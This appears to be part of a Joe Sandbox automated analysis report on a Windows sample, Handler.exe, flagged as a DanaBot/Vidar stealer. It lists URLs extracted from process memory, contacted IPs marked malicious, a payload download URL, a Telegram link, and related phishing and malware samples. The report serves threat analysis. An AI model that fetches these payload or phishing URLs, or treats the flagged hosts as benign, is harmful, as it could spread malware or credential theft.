http://anglebug.com/7553	chrome.exe, 00000007.00000003.2178439550.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178473761.00001B0C00A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178004291.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5375	chrome.exe, 00000007.00000003.2178439550.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178473761.00001B0C00A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178004291.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/v1/issuetoken	msedge.exe, 0000000C.00000003.2311003688.000079D40246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2310777059.000079D402464000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.youtube.com/s/notifications/manifest/cr_install.htmllt	chrome.exe, 00000007.00000003.2216806923.00001B0C01084000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5371	chrome.exe, 00000007.00000003.2178439550.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178473761.00001B0C00A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178004291.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/4722	chrome.exe, 00000007.00000003.2178439550.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178473761.00001B0C00A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178004291.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/reauth/v1beta/users/	msedge.exe, 0000000C.00000003.2311003688.000079D40246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2310777059.000079D402464000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/7556	chrome.exe, 00000007.00000003.2178439550.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178473761.00001B0C00A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178004291.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	Handler.exe, 00000001.00000002.2667841600.00000000047CF000.00000004.00000020.00020000.00000000.sdmp, Handler.exe, 00000001.00000002.2664676243.000000000410F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://chromewebstore.google.com/	msedge.exe, 0000000C.00000002.2412280652.000079D40236C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive-preprod.corp.google.com/	chrome.exe, 00000007.00000003.2175060224.00001B0C004A0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://t.me/w0ctznfc0stnMozilla/5.0	Handler.exe, 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	Handler.exe, 00000001.00000002.2667841600.00000000047CF000.00000004.00000020.00020000.00000000.sdmp, Handler.exe, 00000001.00000002.2664676243.000000000410F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://publickeyservice.pa.gcp.privacysandboxservices.com	chrome.exe, 00000007.00000003.2214480549.00001B0C0180C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/&	chrome.exe, 00000007.00000003.2217550945.00001B0C01954000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217336901.00001B0C01934000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217900260.00001B0C01958000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217376478.00001B0C0193C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217451206.00001B0C01950000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/%	chrome.exe, 00000007.00000003.2217550945.00001B0C01954000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217336901.00001B0C01934000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217900260.00001B0C01958000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217376478.00001B0C0193C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217451206.00001B0C01950000.00000004.00000800.00020000.00000000.sdmp	false		high
http://html4/loose.dtd	us0r9ri58y.exe, 00000016.00000000.2626785777.00000000008FF000.00000008.00000001.01000000.00000014.sdmp	false		high
https://permanently-removed.invalid/RotateBoundCookies	msedge.exe, 0000000C.00000003.2311003688.000079D40246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2310777059.000079D402464000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/6692	chrome.exe, 00000007.00000003.2178439550.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178473761.00001B0C00A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178004291.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/258207403	msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	false		high
https://legalize.live	Handler.exe, 00000001.00000002.2661407306.0000000001457000.00000004.00000020.00020000.00000000.sdmp, Handler.exe, 00000001.00000002.2665802894.000000000458E000.00000004.00000020.00020000.00000000.sdmp, Handler.exe, 00000001.00000002.2661407306.0000000001473000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://anglebug.com/3502	chrome.exe, 00000007.00000003.2178439550.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178473761.00001B0C00A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178004291.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3623	msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.openssl.org/V	us0r9ri58y.exe, 00000016.00000003.2630141462.000000007EB44000.00000004.00001000.00020000.00000000.sdmp, us0r9ri58y.exe, 00000016.00000003.2632382700.000000007EB1A000.00000004.00001000.00020000.00000000.sdmp	false		high
http://anglebug.com/3625	msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3624	msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5007	chrome.exe, 00000007.00000003.2178439550.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178473761.00001B0C00A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178004291.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	Handler.exe, 00000001.00000002.2664676243.000000000410F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://anglebug.com/3862	chrome.exe, 00000007.00000003.2178439550.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178473761.00001B0C00A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178004291.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstoreLDDiscover	chrome.exe, 00000007.00000003.2179310396.00001B0C00338000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2182820220.00001B0C00D2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2179335143.00001B0C00C80000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2187508937.00001B0C00C88000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2184236676.00001B0C00D2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2183765544.00001B0C00338000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178730407.00001B0C00C70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2184023273.00001B0C00C70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178823724.00001B0C00D2C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/search?q=&addon=opensearch	chrome.exe, 00000007.00000003.2179229642.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2184725429.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2203140320.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197727608.00001B0C00BB8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/4836	chrome.exe, 00000007.00000003.2178439550.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178473761.00001B0C00A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178004291.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/issues/166475273	msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	false		high
http://.css	us0r9ri58y.exe, 00000016.00000000.2626785777.00000000008FF000.00000008.00000001.01000000.00000014.sdmp	false		high
https://ch.search.yahoo.com/favicon.ico	chrome.exe, 00000007.00000003.2179229642.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2184725429.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2203140320.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197727608.00001B0C00BB8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/document/d/1z2sdBwnUF2tSlhl3R2iUlk7gvmSbuLVXOgriPIcJkXQ/preview29	chrome.exe, 00000007.00000003.2214480549.00001B0C0180C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.openssl.org/support/faq.html	us0r9ri58y.exe, 00000016.00000003.2629157522.000000007ECF0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://msn.com/	msedge.exe, 0000000C.00000002.2413301640.000079D402594000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/4384	chrome.exe, 00000007.00000003.2178439550.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178473761.00001B0C00A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178004291.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	false		high
https://yachtingiturkey.com/CrypterTest1.exe#m~	Handler.exe, 00000001.00000002.2661407306.0000000001473000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mail.google.com/mail/?tab=rm&ogbl	chrome.exe, 00000007.00000003.2197613265.00001B0C01338000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2196820835.00001B0C01338000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197665566.00001B0C01354000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197700202.00001B0C01438000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197156841.00001B0C0140C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3970	chrome.exe, 00000007.00000003.2178439550.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178473761.00001B0C00A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178004291.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	false		high
https://apis.google.com	chrome.exe, 00000007.00000003.2189853954.00001B0C00294000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197700202.00001B0C01438000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197156841.00001B0C0140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197138563.00001B0C0141C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	Handler.exe, 00000001.00000002.2669636427.00000000049EB000.00000004.00000020.00020000.00000000.sdmp	false		high
http://polymer.github.io/CONTRIBUTORS.txt	chrome.exe, 00000007.00000003.2181571065.00001B0C00FC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2184429651.00001B0C00A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2180846337.00001B0C00EF4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2184378272.00001B0C0078C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2181701205.00001B0C0100C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2184760970.00001B0C003B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2181592971.00001B0C01040000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2185090898.00001B0C0120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2184350976.00001B0C00C70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2184453930.00001B0C00F2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2184915109.00001B0C01130000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2181612148.00001B0C00EB8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://labs.google.com/search?source=ntp	chrome.exe, 00000007.00000003.2197613265.00001B0C01338000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2196820835.00001B0C01338000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197665566.00001B0C01354000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197700202.00001B0C01438000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197156841.00001B0C0140C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://.jpg	us0r9ri58y.exe, 00000016.00000000.2626785777.00000000008FF000.00000008.00000001.01000000.00000014.sdmp	false		high
https://yachtingiturkey.com/	Handler.exe, 00000001.00000002.2667841600.00000000046A8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
45.76.251.57	unknown	United States	20473	AS-CHOOPAUS	true
116.203.164.230	legalize.live	Germany	24940	HETZNER-ASDE	true
162.159.61.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
142.250.186.33	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
18.244.18.38	sb.scorecardresearch.com	United States	16509	AMAZON-02US	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
194.32.76.77	unknown	Germany	202448	MVPShttpswwwmvpsnetEU	true
216.58.206.78	play.google.com	United States	15169	GOOGLEUS	false
149.154.167.99	t.me	United Kingdom	62041	TELEGRAMRU	false
108.139.47.33	unknown	United States	16509	AMAZON-02US	false
172.64.41.3	unknown	United States	13335	CLOUDFLARENETUS	false
162.0.209.157	yachtingiturkey.com	Canada	35893	ACPCA	false
142.250.181.228	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.4
192.168.2.5
127.0.0.1
192.168.2.16
192.168.2.23

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1592136
Start date and time:	2025-01-15 20:15:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 15m 55s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	27
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	Handler.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@75/222@51/18
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 122 Number of non-executed functions: 7
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Max analysis timeout: 600s exceeded, the analysis took too long
Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.210.172, 2.23.77.188, 142.250.186.131, 142.250.186.142, 64.233.184.84, 142.250.185.142, 142.250.186.67, 142.250.185.174, 216.58.212.138, 142.250.186.42, 142.250.185.74, 142.250.186.74, 142.250.74.202, 142.250.185.138, 216.58.206.74, 142.250.186.170, 142.250.185.106, 142.250.185.234, 142.250.184.234, 172.217.18.106, 142.250.185.170, 142.250.185.202, 216.58.212.170, 172.217.16.202, 172.217.18.14, 142.250.186.138, 172.217.18.10, 172.217.16.138, 142.250.181.234, 142.250.184.202, 142.250.186.106, 216.58.206.42, 13.107.42.16, 204.79.197.203, 13.107.21.239, 204.79.197.239, 142.250.185.238, 13.107.6.158, 20.82.9.214, 2.19.11.120, 2.19.11.100, 20.42.65.92, 88.221.110.179, 88.221.110.242, 2.21.65.132, 2.21.65.153, 2.16.241.162, 2.16.241.151, 13.74.129.1, 13.107.21.237, 204.79.197.237, 20.191.45.158, 104.208.16.88, 199.232.214.172, 142.250.80.3, 142.251.40.227, 142.251.40.131, 23.49.251.29, 23.49.251.31, 23.49.251.33, 23.49.251.24, 23.49.251.20, 23.49.251.7, 23.49.251.27
Excluded domains from analysis (whitelisted): cdp-f-ssl-tlu-net.trafficmanager.net, nav-edge.smartscreen.microsoft.com, www-bing-com.dual-a-0034.a-msedge.net, slscr.update.microsoft.com, a416.dscd.akamai.net, img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, clientservices.googleapis.com, edgeassetservice.afd.azureedge.net, p-static.bing.trafficmanager.net, star.sf.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, login.live.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, iris-de-prod-azsc-v2-eus2.eastus2.cloudapp.azure.com, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, onedsblobprdeus17.eastus.cloudapp.azu
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
14:16:32	API Interceptor	1x Sleep call for process: WerFault.exe modified
14:17:33	API Interceptor	33305611x Sleep call for process: us0r9ri58y.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
162.159.61.3	Mbda Us.pdf	Get hash	malicious	HTMLPhisher	Browse
	Ticketmaster #U00c2#U0156300 Cash2356899.pdf	Get hash	malicious	Unknown	Browse
	possible SPAM## Msig Insurance Europe Complete via-Sign Monday January 2025.msg	Get hash	malicious	Unknown	Browse
	Handler.exe	Get hash	malicious	DanaBot, Vidar	Browse
	JUbmpeT.exe	Get hash	malicious	Vidar	Browse
	https://file2-cdn.creality.com/file/2e068bd90e233501c8036fb25c76e092/CrealityScan_win_3.3.4-20241030.exe	Get hash	malicious	Unknown	Browse
	mNPTwHOuvT.exe	Get hash	malicious	Vidar	Browse
	1507513743282749438.js	Get hash	malicious	Strela Downloader	Browse
	https://youtube.com0x360x380x370x340x370x340x370x300x370x330x330x610x320x660x320x660x360x310x360x640x360x360x370x320x320x650x370x320x370x350x320x660x370x320x360x620x320x650x370x300x360x380x370x300x330x660x360x390x360x340x330x640x330x320x330x300x330x300x320x360x370x330x360x390x370x340x360x350x350x660x360x390x360x340x330x640x370x330x330x310x320x360x360x350x370x360x360x350x360x650x370x340x330x320x330x640x360x320x360x310x360x650x360x650x360x350x370x320x320x360x360x350x370x360x360x350x360x650x370x340x330x320x330x640x360x330x360x630x360x390x360x330x360x620x320x360x360x350x370x360x360x350x360x650x370x340x330x330x330x640x330x310x320x620x320x350x330x320x340x360x320x620x320x350x330x350x340x320x330x320x330x350x330x300x320x350x330x350x340x340x320x620x320x350x330x350x340x320x360x390x360x650x360x340x360x350x370x380x350x660x360x320x350x660x360x330x320x350x330x350x340x340x320x620x320x350x340x340x330x300x320x350x330x390x330x330x320x350x340x340x330x300x320x350x340x320x340x320x320x350x340x340x330x300x320x350x340x320x330x300x320x350x340x340x330x300x320x350x340x320x330x320x320x350x340x340x330x300x320x350x340x320x340x340x320x350x340x340x330x300x320x350x340x320x330x300x320x350x340x340x330x310x320x350x330x380x340x360x320x620x320x350x340x340x330x310x320x350x330x380x330x310x320x350x340x340x330x310x320x350x330x380x330x320x320x350x340x340x330x340x370x380x360x340x390x320x390x330x370x320x330x300x390x340x370x330x340x300x330x340x2d0x380x380x340x330x340x370x330x340x300x340x390x300x350x370x330x370x340x330x300x340x300x330x340x380x320x2d0x340x300x390x340x380x2d0x320x2d0x340x380x380x320x2d0x330x320x380x380x340x370x370x320x390x390x320x380x380x380x340x370x340x370x320x390x300x340x390x340x370x320x340x300x380x320x340x370x340x370x320x620x320x640x320x620x320x350x340x340x330x300x320x350x330x390x330x340x320x350x340x340x330x300x320x350x340x320x330x350x320x350x340x340x330x300x320x350x340x320x340x330x320x350x340x340x330x300x320x350x340x320x330x380x320x350x340x340x330x300x320x350x340x320x340x310x320x350x340x340x330	Get hash	malicious	Unknown	Browse
	348426869538810128.js	Get hash	malicious	Strela Downloader	Browse
45.76.251.57	Handler.exe	Get hash	malicious	DanaBot, Vidar	Browse
45.76.251.57	UWYXurYZ2x.exe	Get hash	malicious	LummaC, Amadey, Babadeda, DanaBot, KeyLogger, LummaC Stealer, Poverty Stealer	Browse
239.255.255.250	https://fingertip.com/incoming-document	Get hash	malicious	HTMLPhisher	Browse
	https://www.google.com.tr/url?sa==SlzLhhFsJ7fGjpM8fvOAkm1z4KC&rct=fETOvblSpCqm85GTYKVdXKip5bkW26kcBgD7HeLR8E6psRE86jAuyRjA7fyhhYHpWk&sa=t&url=amp/sasaol.com/ccy/ptsd/vTd7ocRQy71kDqeKXneUsLH4CLz/YWxpc29uLnNtaXRoQHJic2ludC5jb20=	Get hash	malicious	Unknown	Browse
	https://52f1897b.5648702dd4d5255cab645104.workers.dev/?qrc=test@test.org	Get hash	malicious	HTMLPhisher	Browse
	http://www.schoolhouselearningcenter.net/	Get hash	malicious	Unknown	Browse
	https://52f1897b.5648702dd4d5255cab645104.workers.dev/	Get hash	malicious	HTMLPhisher	Browse
	https://q89x88qh.r.ap-southeast-1.awstrack.me/L0/https:%2F%2Fblackdoor.in%2Fcazxccall%2Frtyucallingzxc%2F/1/010e01946a4fedf7-6a14e9da-4611-4b34-a7c5-f58f00519f0d-000000/p9HvzYrykwYBivTgZCa5Kf2-wBc=194	Get hash	malicious	Unknown	Browse
	https://lgray785.wixsite.com/my-site-4	Get hash	malicious	HTMLPhisher	Browse
	0430tely.pdf	Get hash	malicious	Unknown	Browse
	oD2XngYscZ.ps1	Get hash	malicious	Unknown	Browse
	https://login.ecoleterradeasltd.xyz/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638725581254870614.NzQzNDkzODMtOTc3Ni00MTk4LWEyOTgtNzcxOTE2NjUxYzRiMGVmZDU5N2MtN2U3NC00YjUwLTkxMzUtNTE5MGUwYzg1ZmQ2&ui_locales=en-US&mkt=en-US&client-request-id=36d4a1f6-7cba-45d1-a3ed-df92000d1eff&state=HfQ7BQGkYjqSuhdp0uw1pmK7OnWuMWuL6CrtRUQFTAqayUvi4HK2WHpRg3qXyBpviEzEkkPrHxRuxUPhbVJ6VT_z1Q4rknsdO1I1G8I0vvmCJKY1Jj17UvvXfl7rwwbByhZiSjZv4e0zjm8vBEwSjLmzdF29N_NteyY8M7drEpkBEAgCB0EoFXswqlG9707goDIQqjTpA0BHvdohyO5aj-tJFO1J-Wz2owkKr6bkCNZlxKE53oI2XKYpyD1GEC2x5jHgmT1f4Yrr9BPkhEeMCw&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	Get hash	malicious	Unknown	Browse
18.244.18.38	kXzODlqJak.exe	Get hash	malicious	Unknown	Browse
	cLm7ThwEvh.msi	Get hash	malicious	Unknown	Browse
	http://indyhumane.org	Get hash	malicious	Unknown	Browse
	https://hockey30.com/nouvelles/malaise-en-conference-de-presse-kent-hughes-envoie-un-message-cinglant-a-juraj-slafkovsky/	Get hash	malicious	Unknown	Browse
	Mes_Drivers_3.0.4.exe	Get hash	malicious	Unknown	Browse
	https://o365info.com/get-unlicensed-onedrive-accounts/	Get hash	malicious	Unknown	Browse
	6684V5n83w.exe	Get hash	malicious	Vidar	Browse
	25F.tmp.exe	Get hash	malicious	Darkbot	Browse
	WSock.dll	Get hash	malicious	Ramnit	Browse
	Unlock_Tool_v2.6.5.exe	Get hash	malicious	Stealc, Vidar	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
t.me	https://ofmfy.icu/	Get hash	malicious	Unknown	Browse	149.154.167.99
	http://kfz.ear.mybluehost.me/Account/netflix/login/	Get hash	malicious	HTMLPhisher	Browse	50.87.184.100
	Handler.exe	Get hash	malicious	DanaBot, Vidar	Browse	149.154.167.99
	sysadmin.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	JUbmpeT.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	UWYXurYZ2x.exe	Get hash	malicious	LummaC, Amadey, Babadeda, DanaBot, KeyLogger, LummaC Stealer, Poverty Stealer	Browse	149.154.167.99
	http://www.eovph.icu/	Get hash	malicious	Unknown	Browse	149.154.167.99
	http://www.eghwr.icu/	Get hash	malicious	Unknown	Browse	149.154.167.99
	https://wkybcnfuqpgjx.ltd/	Get hash	malicious	Unknown	Browse	149.154.167.99
	http://4q2j5y3.fat-fly.com/	Get hash	malicious	Unknown	Browse	149.154.167.99
chrome.cloudflare-dns.com	Ticketmaster #U00c2#U0156300 Cash2356899.pdf	Get hash	malicious	Unknown	Browse	162.159.61.3
	LN1lgDlZ8e.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	possible SPAM## Msig Insurance Europe Complete via-Sign Monday January 2025.msg	Get hash	malicious	Unknown	Browse	162.159.61.3
	Handler.exe	Get hash	malicious	DanaBot, Vidar	Browse	162.159.61.3
	Collaboration-x64.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
